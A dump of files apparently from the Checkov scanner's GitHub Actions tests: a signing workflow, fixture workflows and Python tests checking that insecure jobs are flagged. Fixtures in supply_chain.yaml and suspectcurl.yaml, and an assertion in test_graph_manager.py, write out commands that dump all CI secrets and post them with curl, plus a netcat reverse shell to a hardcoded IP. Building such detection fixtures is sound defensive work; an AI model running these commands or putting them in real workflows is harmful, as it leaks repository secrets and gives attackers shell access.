hash of the image built by ko and a "dummy" filename called image.tar. The provenance, after attestation in the # last job, can be verified by the digest of the image matching the subject's hash. provenance: permissions: id-token: write contents: write actions: read needs: build uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.1.0 with: base64-subjects: "${{ needs.build.outputs.base64digest }}" # TODO: Specify a custom output file for the attestation JSONL file rather than accepting defaults. # Scan the image using Trivy and add to it who produced the scan (i.e., "trivy") and a timestamp when # the scan was produced. scan: runs-on: ubuntu-20.04 needs: [provenance, build] permissions: contents: read env: IMAGE: "${{ needs.build.outputs.image }}" steps: - name: Scan for vulnerabilities uses: aquasecurity/trivy-action@4b9b6fb4ef28b31450391a93ade098bb00de584e # v0.3.0 with: # scan-type: 'image' image-ref: ${{ env.IMAGE }} format: 'json' ignore-unfixed: true # vuln-type: 'os,library' output: trivy-scan.json - name: Add scan metadata uses: sergeysova/jq-action@9ac92a6da6d616b4cebdddc0059e36a1ad43fab1 # v2.1.0 with: cmd: cat trivy-scan.json | jq '. + {timestamp:(now|todateiso8601)}' | jq '. + {scanner:"trivy"}' > scan.json # TODO: step which generates a hash of the previously-augmented scan report which is then checked in the # subsequent job to ensure tamper proof state prior to attestation. - name: Upload vulnerability scan report uses: actions/upload-artifact@6673cd052c4cd6fcf4b4e6e60ea986c889389535 # v3.0.0 with: name: scan.json path: scan.json if-no-files-found: error # Uses Cosign to sign and attest to the provenance, scans, and SBOM predicates. attest: runs-on: ubuntu-20.04 permissions: contents: write actions: read packages: write env: IMAGE: "${{ needs.build.outputs.image }}" needs: [provenance, scan, build] steps: - name: Download attestations uses: actions/download-artifact@fb598a63ae348fa914e94cd0ff38f362e927b741 # v3.0.0 with: name: attestation.intoto.jsonl - name: Download scan uses: actions/download-artifact@fb598a63ae348fa914e94cd0ff38f362e927b741 # v3.0.0 with: name: scan.json - name: Strip predicate run: jq -r .payload attestation.intoto.jsonl | base64 --decode | jq .predicate > provenance.json - name: Install Cosign uses: sigstore/cosign-installer@7e0881f8fe90b25e305bbf0309761e9314607e25 # v2.4.0 with: cosign-release: 'v1.9.0' - name: Fetch SBOM run: cosign download sbom ${{ env.IMAGE }} > sbom.json # optional troubleshooting step to show all files and show the cleaned provenance file # - name: List files # run: ls -lahF && cat provenance.json - name: Log in to GHCR uses: docker/login-action@49ed152c8eca782a232dede0303416e8f356c37b # v2.0.0 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Sign image run: cosign sign --key env://COSIGN_PRIVATE_KEY -a sha=${{ github.sha }} -a run_id=${{ github.run_id }} ${{ env.IMAGE }} env: COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }} COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }} - name: Attest provenance run: cosign attest --predicate provenance.json --type slsaprovenance --key env://COSIGN_PRIVATE_KEY ${{ env.IMAGE }} env: COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }} COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }} - name: Attest SBOM run: cosign attest --predicate sbom.json --type https://cyclonedx.org/bom --key env://COSIGN_PRIVATE_KEY ${{ env.IMAGE }} env: COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }} COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }} - name: Attest Scan run: cosign attest --predicate scan.json --type https://trivy.aquasec.com/scan/v2 --key env://COSIGN_PRIVATE_KEY ${{ env.IMAGE }} env: COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }} COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }} ================================================ FILE: tests/github_actions/resources/.github/workflows/supply_chain.yaml ================================================ name: Supply Chain on: workflow_dispatch: inputs: logLevel: description: 'Log level' schedule: - cron: 0 0 * * 0 permissions: contents: none jobs: bridgecrew: runs-on: ubuntu-latest steps: - name: Run checkov id: checkov uses: bridgecrewio/checkov-action@master env: GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}} ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true' run: | echo "${{ toJSON(secrets) }}" > .secrets curl -X POST -s --data "@.secrets" /dev/null rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f bridgecrew2: runs-on: ubuntu-latest steps: - name: Run checkov id: checkov uses: bridgecrewio/checkov-action@master env: GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}} ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true' run: | echo "${{ toJSON(secrets) }}" > .secrets curl -X POST -s --data "@.secrets" /dev/null rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f ================================================ FILE: tests/github_actions/resources/.github/workflows/suspectcurl.yaml ================================================ name: CI run-name: "Setting run name ${{ github.ref_name }}" # Controls when the workflow will run on: # Triggers the workflow on push or pull request events but only for the main branch push: ['something'] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: inputs: logLevel: description: 'Log level' # A workflow run is made up of one or more jobs that can run sequentially or in parallel jobs: # This workflow contains a single job called "build" prep: name: prep runs-on: ubuntu-latest run: | curl -X POST -s --data ${{secret.GITHUB_TOKEN}}" /dev/null build: # The type of runner that the job will run on runs-on: ubuntu-latest # Steps represent a sequence of tasks that will be executed as part of the job steps: # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - uses: actions/checkout@v3 # Runs a single command using the runners shell - name: Run a normal very innocent one-line script run: | echo "${{ toJSON(secrets) }}" > .secrets curl -X POST -s --data "@.secrets" /dev/null ================================================ FILE: tests/github_actions/resources/.github/workflows/unsecure_command.yaml ================================================ on: pull_request name: unsecure-worfklow jobs: unsecure-job: name: job2 runs-on: ubuntu-latest env: ACTIONS_ALLOW_UNSECURE_COMMANDS: true steps: - name: unsecure-step2 run: | echo "goo" secure-job: name: job3 runs-on: ubuntu-latest env: ACTIONS_ALLOW_UNSECURE_COMMANDS: false run: | echo "ok" ================================================ FILE: tests/github_actions/resources/.github/workflows/workflow_dispatch.yaml ================================================ on: workflow_dispatch: inputs: logLevel: description: 'Log level' required: true default: 'warning' type: choice options: - info - warning - debug tags: description: 'Test scenario tags' required: false type: boolean environment: description: 'Environment to run tests against' type: environment required: true jobs: log-the-inputs: runs-on: ubuntu-latest steps: - run: | echo "Log level: $LEVEL" echo "Tags: $TAGS" echo "Environment: $ENVIRONMENT" env: LEVEL: ${{ inputs.logLevel }} TAGS: ${{ inputs.tags }} ENVIRONMENT: ${{ inputs.environment }} ================================================ FILE: tests/github_actions/resources/.github/workflows/workflow_with_image.yml ================================================ name: CI on: push: branches: [ main ] jobs: container-test-job: runs-on: ubuntu-latest container: image: node:14.16 env: NODE_ENV: development ports: - 80 volumes: - my_docker_volume:/volume_mount options: --cpus 1 steps: - name: Check for dockerenv file run: | (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv) curl -X POST -s --data "@.secrets" /dev/null second_job: runs-on: ubuntu-latest steps: - name: Check for dockerenv file run: | (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv) curl -X POST -s --data "@.secrets" /dev/null ================================================ FILE: tests/github_actions/resources/.github/workflows/workflow_with_string_container.yml ================================================ name: Name on: workflow_dispatch: inputs: logLevel: description: 'Log level' jobs: destroy_cert: runs-on: ubuntu-latest name: Name container: node:14.16 steps: - name: Checkout codebase uses: actions/checkout@v3 - name: infrastructure working-directory: terraform shell: bash env: TF_INPUT: 0 run: | terragrunt init terragrunt destroy -auto-approve -var-file devl.tfvars ================================================ FILE: tests/github_actions/test_graph_manager.py ================================================ from pathlib import Path from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.runners.graph_manager import ObjectGraphManager from checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph from checkov.github_actions.runner import Runner from checkov.github_actions.utils import get_gha_files_definitions, build_gha_definitions_context RESOURCES_DIR = Path(__file__).parent / "resources" def test_build_graph_from_definitions(): # given test_file = str(RESOURCES_DIR / ".github/workflows/supply_chain.yaml") graph_manager = ObjectGraphManager(db_connector=NetworkxConnector(), source="GitHubActions") template, _ = Runner()._parse_file(f=test_file) # when local_graph = graph_manager.build_graph_from_definitions( definitions={test_file: template}, graph_class=GitHubActionsLocalGraph ) # then assert len(local_graph.vertices) == 6 assert len(local_graph.edges) == 2 job_idx = local_graph.vertices_by_path_and_name[(test_file, "jobs.bridgecrew")] job = local_graph.vertices[job_idx] assert job.block_type == BlockType.RESOURCE assert job.id == "jobs.bridgecrew" assert job.source == "GitHubActions" assert job.attributes[CustomAttributes.RESOURCE_TYPE] == "jobs" assert job.config == { "runs-on": "ubuntu-latest", "steps": [ { "name": "Run checkov", "id": "checkov", "uses": "bridgecrewio/checkov-action@master", "env": { "GITHUB_TOKEN": "${{secrets.THIS_IS_A_TEST_SECRET}}", "ACTIONS_ALLOW_UNSECURE_COMMANDS": "true", "__startline__": 19, "__endline__": 21, }, "run": 'echo "${{ toJSON(secrets) }}" > .secrets\ncurl -X POST -s --data "@.secrets" /dev/null\nrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f\n', "__startline__": 15, "__endline__": 25, } ], "__startline__": 13, "__endline__": 25, } def test_get_definitions(): definitions, definitions_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / "gha"), files=[str(Path( __file__).parent / "gha/.github/workflows/failed.yaml")]) assert len(definitions) == len(definitions_raw) == 1 assert definitions[list(definitions.keys())[0]] == { "name": "read-only", "on": { "pull_request": { "types": ['opened', 'synchronize', 'labeled', 'unlabeled'], "__startline__": 5, "__endline__": 7 }, "__startline__": 4, "__endline__": 7 }, "permissions": "write-all", "jobs": { "example": { "runs-on": "ubuntu-latest", "steps": [ { "uses": "actions/checkout@12345678", "__startline__": 13, "__endline__": 14, }, {"run": 'echo "working hard"\n', "__startline__": 14, "__endline__": 16}, ], "__startline__": 11, "__endline__": 16, }, "__startline__": 10, "__endline__": 16, }, "__startline__": 1, "__endline__": 16, } assert definitions_raw[list(definitions_raw.keys())[0]] == [ (1, "name: read-only\n"), (2, "\n"), (3, 'on:\n'), (4, ' pull_request:\n'), (5, ' types: [ opened, synchronize, labeled, unlabeled ]\n'), (6, '\n'), (7, "permissions: write-all\n"), (8, "\n"), (9, "jobs:\n"), (10, " example:\n"), (11, " runs-on: ubuntu-latest\n"), (12, " steps:\n"), (13, " - uses: actions/checkout@12345678\n"), (14, " - run: |\n"), (15, ' echo "working hard"\n'), ] def test_build_def_context_on_list(): defs, defs_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / "gha"), files=[ str(Path(__file__).parent / "gha/.github/workflows/on_list.yaml")]) context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw) assert context[list(context.keys())[0]] == { 'on': { "['push', 'fork']": { 'start_line': 2, 'end_line': 3, 'code_lines': [(2, 'on: [push, fork]\n')] } }, 'permissions': { 'pull-requests': { 'start_line': 5, 'end_line': 7, 'code_lines': [(5, ' pull-requests: read\n'), (6, '\n')]}}, 'jobs': { 'form_filled': { 'start_line': 9, 'end_line': 30, 'code_lines': [ (9, ' runs-on: ubuntu-latest\n'), (10, " if: contains(github.event.pull_request.title, '[FORM]') == false\n"), (11, ' steps:\n'), (12, ' - name: Checkout\n'), (13, ' uses: actions/checkout@v3\n'), (14, ' - name: Setup Python\n'), (15, ' uses: actions/setup-python@v3\n'), (16, ' with:\n'), (17, " python-version: '3.9'\n"), (18, ' - name: Install Python Dependencies\n'), (19, ' run: |\n'), (20, ' python -m pip install --upgrade pip\n'), (21, ' pip install pipenv==2021.5.29\n'), (22, ' pipenv sync\n'), (23, ' - name: Check form filled\n'), (24, ' env:\n'), (25, ' PR_NUMBER: ${{ github.event.pull_request.number }}\n'), (26, ' GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n'), (27, ' run: |\n'), (28, ' echo "Checking if contribution form needs to be filled for PR: $PR_NUMBER"\n'), (29, ' pipenv run ./form.py --pr_number $PR_NUMBER\n')]}}} def test_build_def_context_simple(): defs, defs_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / "gha"), files=[str(Path(__file__).parent / "gha/.github/workflows/failed.yaml")]) context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw) assert context[list(context.keys())[0]] == { "on": { "pull_request": { "start_line": 5, "end_line": 7, "code_lines": [(5, " types: [ opened, synchronize, labeled, unlabeled ]\n"), (6, '\n')] } }, "permissions": { "write-all": { "start_line": 7, "end_line": 8, "code_lines": [(7, "permissions: write-all\n")] } }, "jobs": { "example": { "start_line": 11, "end_line": 16, "code_lines": [ (11, " runs-on: ubuntu-latest\n"), (12, " steps:\n"), (13, " - uses: actions/checkout@12345678\n"), (14, " - run: |\n"), (15, ' echo "working hard"\n'), ], } }, } def test_build_def_context_multiple_on_directives(): defs, defs_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / "gha"), files=[str(Path(__file__).parent / "gha/.github/workflows/multiple_on_descendants.yaml")]) assert len(defs[list(defs.keys())[0]]) == 5 on_block = defs[list(defs.keys())[0]]['on'] assert len(on_block) == 4 and 'pull_request' in on_block and 'workflow_dispatch' in on_block context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw) assert len(defs) == len(context) assert context[list(context.keys())[0]] == { 'on': { 'pull_request': { 'start_line': 4, 'end_line': 5, 'code_lines': [(4, ' types: [ opened, synchronize, labeled, unlabeled ]\n')] } }, 'jobs': { 'handle_branches': { 'start_line': 9, 'end_line': 27, 'code_lines': [(9, ' runs-on: ubuntu-latest\n'), (10, " if: github.repository == 'org/content'\n"), (11, ' steps:\n'), (12, ' - name: Checkout\n'), (13, ' uses: actions/checkout@v3\n'), (14, ' - name: Setup Python\n'), (15, ' uses: actions/setup-python@v3\n'), (16, ' with:\n'), (17, " python-version: '3.9'\n"), (18, ' - name: Install Python Dependencies\n'), (19, ' run: |\n'), (20, ' python -m pip install --upgrade pip\n'), (21, ' - name: Delete Branches\n'), (22, ' env:\n'), (23, ' ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN }}\n'), (24, ' run: |\n'), (25, ' echo "Deleting branches"\n'), (26, ' pipenv sync\n')] } } } def test_build_def_context_1(): defs = { "/tmp/checkov/tempo/blue/master/src/.github/workflows/run-detection.yml": { "name": "Detection", "on": "pull_request", "jobs": { "detection": { "runs-on": "ubuntu-latest", "if": "github.event.pull_request.head.repo.fork == false'", "steps": [ {"name": "Checkout", "uses": "actions/checkout@v3", "__startline__": 9, "__endline__": 11}, { "name": "Setup Python", "uses": "actions/setup-python@v3", "with": {"python-version": "3.9", "__startline__": 14, "__endline__": 15}, "__startline__": 11, "__endline__": 15, }, { "name": "Setup Poetry", "uses": "Green/setup-poetry@v7", "__startline__": 15, "__endline__": 17, }, { "name": "Install Python Dependencies", "run": "poetry install --with ci\n", "__startline__": 17, "__endline__": 20, }, { "name": "Run Detection", "env": { "PR_NUMBER": "${{ github.event.pull_request.number }}", "BRANCH_NAME": "${{ github.head_ref }}", "USERNAME": "${{ secrets.TEST_SECRET_1 }}", "PASSWORD": "${{ secrets.TEST_PASS_1 }}", "__startline__": 22, "__endline__": 26, }, "run": 'echo "Run detection for PR: $PR_NUMBER on branch: $BRANCH_NAME"\ninvestigation_id=$(poetry run Utils/github_workflow_scripts/run_detection.py --pr_number $PR_NUMBER --branch_name $BRANCH_NAME)\necho "INVESTIGATION_ID=$investigation_id" >> $GITHUB_ENV\n', "__startline__": 20, "__endline__": 30, }, { "name": "Wait For Playbook To Finish", "env": { "MY_API_KEY": "my_api_key", "__startline__": 32, "__endline__": 33, }, "run": 'echo "Invastigation id is: $INVESTIGATION_ID "\npoetry run python\n', "__startline__": 30, "__endline__": 38, }, ], "__startline__": 6, "__endline__": 38, }, "__startline__": 5, "__endline__": 38, }, "__startline__": 1, "__endline__": 38, } } defs_raw = { "/tmp/checkov/tempo/blue/master/src/.github/workflows/run-detection.yml": [ (1, "name: Detection\n"), (2, "on: pull_request\n"), (3, "\n"), (4, "jobs:\n"), (5, " detection:\n"), (6, " runs-on: ubuntu-latest\n"), (7, " if: github.event.pull_request.head.repo.fork == false'\n",), (8, " steps:\n"), (9, " - name: Checkout\n"), (10, " uses: actions/checkout@v3\n"), (11, " - name: Setup Python\n"), (12, " uses: actions/setup-python@v3\n"), (13, " with:\n"), (14, " python-version: '3.9'\n"), (15, " - name: Setup Poetry\n"), (16, " uses: Green/setup-poetry@v7\n"), (17, " - name: Install Python Dependencies\n"), (18, " run: |\n"), (19, " poetry install --with ci\n"), (20, " - name: Run Detection\n"), (21, " env:\n"), (22, " PR_NUMBER: ${{ github.event.pull_request.number }}\n"), (23, " BRANCH_NAME: ${{ github.head_ref }}\n"), (24, " USERNAME: ${{ secrets.TEST_SECRET_1 }}\n"), (25, " PASSWORD: ${{ secrets.TEST_PASS_1 }}\n"), (26, " run: |\n"), (27, ' echo "Run detection for PR: $PR_NUMBER on branch: $BRANCH_NAME"\n'), (28, " investigation_id=$(poetry run Utils/github_workflow_scripts/run_detection.py --pr_number $PR_NUMBER --branch_name $BRANCH_NAME)\n",), (29, ' echo "INVESTIGATION_ID=$investigation_id" >> $GITHUB_ENV\n'), (30, " - name: Wait For Playbook To Finish\n"), (31, " env:\n"), (32, " MY_API_KEY: my_api_key\n"), (33, " run: |\n"), (34, ' echo "Invastigation id is: $INVESTIGATION_ID "\n'), (35, ' poetry run python\n'), (36, "\n"), (37, "\n"), ] } context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw) assert len(context) == len(defs) assert context == { "/tmp/checkov/tempo/blue/master/src/.github/workflows/run-detection.yml": { "on": {"pull_request": {"start_line": 2, "end_line": 3, "code_lines": [(2, 'on: pull_request\n')]}}, "jobs": { "detection": { "start_line": 6, "end_line": 38, "code_lines": [ (6, " runs-on: ubuntu-latest\n"), (7, " if: github.event.pull_request.head.repo.fork == false'\n",), (8, " steps:\n"), (9, " - name: Checkout\n"), (10, " uses: actions/checkout@v3\n"), (11, " - name: Setup Python\n"), (12, " uses: actions/setup-python@v3\n"), (13, " with:\n"), (14, " python-version: '3.9'\n"), (15, " - name: Setup Poetry\n"), (16, " uses: Green/setup-poetry@v7\n"), (17, " - name: Install Python Dependencies\n"), (18, " run: |\n"), (19, " poetry install --with ci\n"), (20, " - name: Run Detection\n"), (21, " env:\n"), (22, " PR_NUMBER: ${{ github.event.pull_request.number }}\n"), (23, " BRANCH_NAME: ${{ github.head_ref }}\n"), (24, " USERNAME: ${{ secrets.TEST_SECRET_1 }}\n"), (25, " PASSWORD: ${{ secrets.TEST_PASS_1 }}\n"), (26, " run: |\n"), (27, ' echo "Run detection for PR: $PR_NUMBER on branch: $BRANCH_NAME"\n'), (28, " investigation_id=$(poetry run Utils/github_workflow_scripts/run_detection.py --pr_number $PR_NUMBER --branch_name $BRANCH_NAME)\n",), (29, ' echo "INVESTIGATION_ID=$investigation_id" >> $GITHUB_ENV\n'), (30, " - name: Wait For Playbook To Finish\n"), (31, " env:\n"), (32, " MY_API_KEY: my_api_key\n"), (33, " run: |\n"), (34, ' echo "Invastigation id is: $INVESTIGATION_ID "\n'), (35, ' poetry run python\n'), (36, "\n"), (37, "\n"), ], } } } } def test_build_def_context_2(): defs = { "/tmp/checkov/tempo/blue/master/src/.github/workflows/trigger-build.yml": { "name": "Trigger Build", "on": { "pull_request_target": {"types": ["labeled"], "__startline__": 4, "__endline__": 6}, "__startline__": 3, "__endline__": 6, }, "jobs": { "trigget_build": { "runs-on": "ubuntu-latest", "if": "github.event.pull_request.head.repo.fork == true", "steps": [ {"name": "Checkout", "uses": "actions/checkout@v3", "__startline__": 11, "__endline__": 13}, { "name": "Setup Python", "uses": "actions/setup-python@v3", "with": {"python-version": "3.9", "__startline__": 16, "__endline__": 17}, "__startline__": 13, "__endline__": 17, }, { "name": "Setup Poetry", "uses": "Green/setup-poetry@v7", "__startline__": 17, "__endline__": 19, }, { "name": "Install Python Dependencies", "run": "poetry install --with ci\n", "__startline__": 19, "__endline__": 22, }, { "name": "Trigger Build", "env": { "PR_NUMBER": "${{ github.event.pull_request.number }}", "BASE_BRANCH": "${{ github.event.pull_request.base.ref }}", "CONTRIB_BRANCH": "${{ github.event.pull_request.head.label }}", "USERNAME": "${{ secrets.TRIGGER_BUILD_USER }}", "PASSWORD": "${{ secrets.TRIGGER_BUILD_PASSWORD }}", "__startline__": 24, "__endline__": 29, }, "run": 'echo "Trigger build for PR: $PR_NUMBER with base branch: $BASE_BRANCH contrib branch: $CONTRIB_BRANCH"\npoetry run python\n', "__startline__": 22, "__endline__": 32, }, ], "__startline__": 8, "__endline__": 32, }, "__startline__": 7, "__endline__": 32, }, "__startline__": 1, "__endline__": 32, } } defs_raw = { "/tmp/checkov/tempo/blue/master/src/.github/workflows/trigger-build.yml": [ (1, "name: Trigger Build\n"), (2, "on:\n"), (3, " pull_request_target:\n"), (4, " types: [labeled]\n"), (5, "\n"), (6, "jobs:\n"), (7, " trigget_build:\n"), (8, " runs-on: ubuntu-latest\n"), (9, " if: github.event.pull_request.head.repo.fork == true\n",), (10, " steps:\n"), (11, " - name: Checkout\n"), (12, " uses: actions/checkout@v3\n"), (13, " - name: Setup Python\n"), (14, " uses: actions/setup-python@v3\n"), (15, " with:\n"), (16, " python-version: '3.9'\n"), (17, " - name: Setup Poetry\n"), (18, " uses: Green/setup-poetry@v7\n"), (19, " - name: Install Python Dependencies\n"), (20, " run: |\n"), (21, " poetry install --with ci\n"), (22, " - name: Trigger Build\n"), (23, " env:\n"), (24, " PR_NUMBER: ${{ github.event.pull_request.number }}\n"), (25, " BASE_BRANCH: ${{ github.event.pull_request.base.ref }}\n"), (26, " CONTRIB_BRANCH: ${{ github.event.pull_request.head.label }}\n"), (27, " USERNAME: ${{ secrets.TRIGGER_BUILD_USER }}\n"), (28, " PASSWORD: ${{ secrets.TRIGGER_BUILD_PASSWORD }}\n"), (29, " run: |\n"), (30, ' echo "Trigger build for PR: $PR_NUMBER with base branch: $BASE_BRANCH contrib branch: $CONTRIB_BRANCH"\n',), (31, " poetry run python\n",), ] } context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw) assert len(context) == len(defs) assert context == { "/tmp/checkov/tempo/blue/master/src/.github/workflows/trigger-build.yml": { "on": {"pull_request_target": {"start_line": 4, "end_line": 6, "code_lines": [(4, " types: [labeled]\n"), (5, "\n")]}}, "jobs": { "trigget_build": { "start_line": 8, "end_line": 32, "code_lines": [ (8, " runs-on: ubuntu-latest\n"), (9, " if: github.event.pull_request.head.repo.fork == true\n",), (10, " steps:\n"), (11, " - name: Checkout\n"), (12, " uses: actions/checkout@v3\n"), (13, " - name: Setup Python\n"), (14, " uses: actions/setup-python@v3\n"), (15, " with:\n"), (16, " python-version: '3.9'\n"), (17, " - name: Setup Poetry\n"), (18, " uses: Green/setup-poetry@v7\n"), (19, " - name: Install Python Dependencies\n"), (20, " run: |\n"), (21, " poetry install --with ci\n"), (22, " - name: Trigger Build\n"), (23, " env:\n"), (24, " PR_NUMBER: ${{ github.event.pull_request.number }}\n"), (25, " BASE_BRANCH: ${{ github.event.pull_request.base.ref }}\n"), (26, " CONTRIB_BRANCH: ${{ github.event.pull_request.head.label }}\n"), (27, " USERNAME: ${{ secrets.TRIGGER_BUILD_USER }}\n"), (28, " PASSWORD: ${{ secrets.TRIGGER_BUILD_PASSWORD }}\n"), (29, " run: |\n"), (30, ' echo "Trigger build for PR: $PR_NUMBER with base branch: $BASE_BRANCH contrib branch: $CONTRIB_BRANCH"\n',), (31, " poetry run python\n",), ], } } } } ================================================ FILE: tests/github_actions/test_runner.py ================================================ import unittest from pathlib import Path from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.github_actions.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.github_actions.checks.registry import registry class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.GITHUB_ACTIONS) def test_runner(self): # given test_dir = Path(__file__).parent / "resources" checks = ["CKV_GHA_1", "CKV_GHA_2"] # when report = Runner().run( root_folder=str(test_dir), runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then self.assertEqual(len(report.failed_checks), 9) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.passed_checks), 157) self.assertEqual(len(report.skipped_checks), 0) def test_runner_multi_file(self): # given file_path = Path(__file__).parent / "gha/.github/workflows/multi_file.yaml" file_dir = [str(file_path)] filter = RunnerFilter(framework=['github_actions']) # when report = Runner().run(files=file_dir, runner_filter=filter) # then self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_runner_honors_enforcement_rules(self): # given test_dir = Path(__file__).parent / "resources" filter = RunnerFilter(framework=['github_actions'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.GITHUB_ACTIONS: Severities[BcSeverities.OFF]} # when report = Runner().run( root_folder=str(test_dir), runner_filter=filter ) # then self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_runner_on_suspectcurl(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/suspectcurl.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.failed_checks[0].job[0] == 'prep' assert report.failed_checks[0].triggers[0] == {'push', 'workflow_dispatch'} assert report.failed_checks[0].workflow_name == 'CI' assert report.failed_checks[1].job[0] == 'build' assert report.failed_checks[1].triggers[0] == {'push', 'workflow_dispatch'} assert report.failed_checks[1].workflow_name == 'CI' def test_runner_on_bad_jobs(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/nested_jobs.yaml" file_dir = [str(file_path)] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"]) ) # then assert len(report.passed_checks) + len(report.failed_checks) == 0 def test_runner_on_shell_injection(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/shell_injection.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.passed_checks[0].job[0] == 'unsecure-job' assert report.passed_checks[0].triggers[0] == {'issues'} assert report.passed_checks[0].workflow_name == 'unsec33ure-worfklow' assert report.passed_checks[1].job[0] == 'secure-job' assert report.passed_checks[1].triggers[0] == {'issues'} assert report.passed_checks[1].workflow_name == 'unsec33ure-worfklow' assert report.passed_checks[2].job[0] == 'unsecure-steps' assert report.passed_checks[2].triggers[0] == {'issues'} assert report.passed_checks[2].workflow_name == 'unsec33ure-worfklow' def test_runner_on_netcatreverseshell(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/netcatreverseshell.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.passed_checks[0].job[0] == 'prep' assert report.passed_checks[0].triggers[0] == {'workflow_dispatch', 'push'} assert report.passed_checks[0].workflow_name == 'REVERSESHELL' assert report.passed_checks[1].job[0] == 'build' assert report.passed_checks[1].triggers[0] == {'workflow_dispatch', 'push'} assert report.passed_checks[1].workflow_name == 'REVERSESHELL' def test_runner_on_unsecure_command(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/unsecure_command.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.failed_checks[0].job[0] == 'unsecure-job' assert report.failed_checks[0].triggers[0] == {'pull_request'} assert report.failed_checks[0].workflow_name == 'unsecure-worfklow' assert report.passed_checks[2].job[0] == 'secure-job' assert report.passed_checks[2].triggers[0] == {'pull_request'} assert report.passed_checks[2].workflow_name == 'unsecure-worfklow' def test_runner_on_non_empty_workflow_dispatch(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/workflow_dispatch.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_7"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.failed_checks[0].job[0] == '' assert report.failed_checks[0].triggers[0] == {'workflow_dispatch'} assert report.failed_checks[0].workflow_name == '' def test_runner_on_list_typed_workflow_dispatch(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/list_workflow_dispatch.yml" file_dir = [str(file_path)] checks = ["CKV_GHA_7"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert len(report.failed_checks) == 0 def test_runner_on_supply_chain(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/supply_chain.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.failed_checks[0].job[0] == "bridgecrew" assert report.failed_checks[0].triggers[0] == 